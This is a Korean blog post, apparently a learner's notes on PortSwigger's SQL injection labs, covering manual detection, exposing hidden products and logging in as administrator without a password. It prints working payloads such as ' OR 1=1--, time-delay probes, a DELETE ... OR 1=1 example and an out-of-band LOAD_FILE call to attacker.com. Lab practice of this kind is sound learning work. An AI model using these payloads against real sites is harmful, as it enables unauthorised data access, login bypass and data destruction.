Web/Burp Suite

Burp Suite: Server-side vulnerabilities (Part 6) SQL Injection

secumark 2025. 6. 21. 21:57
728x90

드디어 Server-side vulnerabilities의 마지막 단계, SQL Injection이다!

 

SQL injection (SQLi)은 웹 보안 취약점으로, 공격자가 애플리케이션이 데이터베이스에 보내는 쿼리(Query)를 조작할 수 있다. 원래 접근할 수 없는 데이터를 볼 수 있다 (민감 data) 공격자는 데이터를 수정하거나 삭제할 수도 있고, SQLi를 통해서는 서버 자체, 백엔드 인프라 탈취가 가능해져 Dos 공격까지 가능해진다.

 

애플리케이션의 모든 entry point에 대해 체계적인 테스트를 수행해 SQLi를 수동으로 탐지할 수도 있다.

  1. 작은 따옴표 ' 입력
    • product?id=1'
    • 에러 메시지나 비정상적인 동작이 발생하는지 확인 → '는 SQL 문법을 깨트릴 수 있어서 오류 메시지가 발생하면 의심 가능
  2. 기본값과 다른 결과를 비교하는 SQL 구문 테스트
    • OR 1=1, OR 1=2 등을 넣고 결과 차이를 관찰
    • 예: 로그인 페이지에→ 조건이 항상 참(1=1)이면 로그인 우회 가능
    • username=admin' OR 1=1-- password=abc
  3. 시간 지연 기반 블라인드 SQLi 테스트
    • '; SLEEP(5)-- 혹은 WAITFOR DELAY '00:00:05' 등 삽입
    • 응답 시간이 지연되면, 쿼리가 실행되었음을 의미함
  4. OAST (Out-of-band Application Security Testing)
    • SQL 쿼리 실행 시 외부 서버로 요청이 가도록 설계된 페이로드를 삽입
    • 예: LOAD_FILE('http://attacker.com') → 서버가 요청하면 탐지 가능

 

자동 탐지는 Burp Suite Professional 버전의 자동 스캐너를 이용하면 빠르고 신뢰성 있게 탐지가 가능하다. 

 

예시로, 다양한 카테고리의 상품을 보여주는 쇼핑 application이 있다. 사용자가 gifts 카테고리를 선택하면 브라우저는 다음과 같은 url을 요청할 것이다.

 

https://insecure-website.com/products?category=Gifts

 

해당 요청은 아래와 같은 sql 쿼리를 실행하게 만들 것이다.

SELECT * FROM products WHERE category = 'Gifts' AND released = 1
 
  • SELECT * → 모든 열을 선택
  • FROM products → products 테이블에서
  • WHERE category = 'Gifts' → 카테고리가 "Gifts"인 상품들만
  • AND released = 1 → 출시된 상품만 (즉, released 필드가 1인 항목만)

released = 1이라는 조건은 출시되지 않은 상품들을 숨기기 위해 사용되고 있으니 아직 출시되지 않은 상품은 released = 0이라고 추정할 수 있다.

https://insecure-website.com/products?category=Gifts' OR 1=1--

 

이 쿼리가 그대로 사용자 입력을 반영하는 경우, 다음과 같이 해석될 것이다.

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

 

→ OR 1=1 때문에 모든 상품을 조회할 수 있고 --는 그 뒤의 조건을 주석 처리해 released = 1 조건도 무시된다. 즉, 숨겨진 상품까지 모두 노출된다.

 

이 애플리케이션은 어떤 검증도 수행하지 않는 취약한 웹 사이트임. 숨겨진 상품 정보를 조회하는 방법은 다음과 같이 여러가지다

https://insecure-website.com/products?category=Gifts'--
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

 

  • '--는 SQL에서 주석을 뜻하니까 이 뒤로는 모두 주석 처리되므로 무시된다.
https://insecure-website.com/products?category=Gifts'+OR+1=1--
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

 

  • OR 1=1은 항상 참(True)이 되는 조건이다. 즉, category = 'Gifts'이든 아니든, 어차피 1=1이 참이므로 모든 상품이 조회될 것이다. 게다가 -- 뒤는 주석이므로 AND released = 1도 실행되지 않음

이외에도 update나 delete가 들어가있는 쿼리라면.. 매우 위험해질 수 있음

DELETE FROM users WHERE username = 'admin' OR 1=1

 

Lab

SQL injection을 이용해 숨겨진(unreleased) 상품을 화면에 표시해보자. 

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

 

released =1 때문에 unreleased된 상품은 보여주지 않지만 이 조건을 우회해 released=0인 상품도 보이게 해보자

 

파라미터 값 뒤에 '--로 주석처리를 해봤다.

 

원랜 없던 hidden 상품이 표출된다.

 

근데 '--로는 해결이 안돼서 '+OR+1=1--로 했더니 Solved 되었다

 

로그인 인증 우회

웹사이트의 로그인 로직이 아래와 같이 동작한다고 가정해보자

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
 
  • 사용자가 입력한 username과 password가 DB에 존재하는 값이면 로그인 성공이다. 근데 필터링이나 이스케이프 처리를 아예 하지 않는다면 공격자는 다음과 같이 입력 가능하다.
  • username: administrator'--
  • password: (비워둠)
 
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

 

다음과 같이 --' 이후로는 모두 주석처리되어 무시되고 비밀번호 체크 없이도 administrator 사용자 정보만 조회해 관리자 계정으로 로그인할 수 있게 된다. (Authentication Bypass)

 

 
그래서 이번 Lab에서는 패스워드 입력없이 administrator로 로그인하는 공격을 해볼 것이다.

 

'--에 password는 아무거나 입력했더니 로그인이 됐다.

 

참고로 mysql이랑 mssql등 조금씩 문법이 다르다.

 

 

일주일만에 다했다..^^

 

난이도: 중하

 

출처: port swigger

참고로 learning paths는 총 17개가 있다..

728x90